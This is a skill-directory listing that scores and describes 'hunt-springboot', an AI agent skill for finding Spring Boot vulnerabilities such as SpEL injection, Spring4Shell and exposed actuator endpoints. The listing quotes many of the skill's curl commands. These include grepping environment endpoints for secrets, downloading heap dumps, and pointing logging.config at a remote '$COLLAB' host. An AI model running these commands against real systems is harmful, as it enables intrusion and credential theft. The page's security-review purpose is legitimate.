← All skills
hunt-springboot
92 / 100 · Low risk
Fine to try. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By elementalsouls/Claude-BugHunter (GitHub) · security · 5,515 stars · scanned at commit d5dcc53
Hunt Spring Boot specific vulnerabilities — Actuator endpoints (heapdump, env, loggers, mappings, shutdown), Spring Expression Language (SpEL) injection → RCE, H2 console RCE, Jolokia JMX exposure, Spring4Shell (CVE-2022-22965), Spring Cloud Function SPEL (CVE-2022-22963), heap dump credential extraction. Use when target runs Spring Boot — detected via X-Application-Context header, /actuator, Whitelabel Error Page, or Java stack traces.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: $target, $target$base, $collab
The author does not mention this. Expected for a security skill.
Found in 29 places.
Show 17 more
- skills/hunt-springboot/SKILL.md, line 33
curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null - skills/hunt-springboot/SKILL.md, line 37
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator") - skills/hunt-springboot/SKILL.md, line 59
BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP") - skills/hunt-springboot/SKILL.md, line 60
CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP") - skills/hunt-springboot/SKILL.md, line 67
curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20 - skills/hunt-springboot/SKILL.md, line 70
curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort - skills/hunt-springboot/SKILL.md, line 73
curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100 - skills/hunt-springboot/SKILL.md, line 82
curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof - skills/hunt-springboot/SKILL.md, line 105
curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database" - skills/hunt-springboot/SKILL.md, line 106
curl -s "https://$TARGET/h2" | grep -i "H2 Console" - skills/hunt-springboot/SKILL.md, line 107
curl -s "https://$TARGET/console" | grep -i "H2" - skills/hunt-springboot/SKILL.md, line 138
curl -s -X POST "https://$TARGET/api/user/name" \ - skills/hunt-springboot/SKILL.md, line 146
curl -s -X POST "https://$TARGET/api/user/name" \ - skills/hunt-springboot/SKILL.md, line 151
curl -s -X POST "https://$TARGET/functionRouter" \ - skills/hunt-springboot/SKILL.md, line 161
curl -s -X POST "$BASE/actuator/gateway/routes/hax" -H "Content-Type: application/json" \ - skills/hunt-springboot/SKILL.md, line 163
curl -s -X POST "$BASE/actuator/gateway/refresh"; curl -s "$BASE/actuator/gateway/routes" - skills/hunt-springboot/SKILL.md, line 170
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"logging.config","value":"http://$COLLAB/logback.xml"}'
and 9 more places
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 10 places.
Show 7 more
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'hunt-springboot' ] || [ -L ~/.agents/skills/'hunt-springboot' ]; then echo 'A skill folder named hunt-springboot already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/elementalsouls/Claude-BugHunter' "$d" && git -C "$d" checkout --quiet 'd5dcc5347675ed431488e0a0e46749e4918aa194' -- 'skills/hunt-springboot' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/hunt-springboot' ~/.agents/skills/'hunt-springboot' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'hunt-springboot' ~/.claude/skills/'hunt-springboot' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for elementalsouls/Claude-BugHunter shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/elementalsouls/Claude-BugHunter/)
Score history
| Date | Version | Score |
|---|
| 2026-11-10 | d5dcc53 | 92 |
| 2026-11-08 | 42a3ab1 | 92 |
| 2026-11-06 | 3e71af0 | 92 |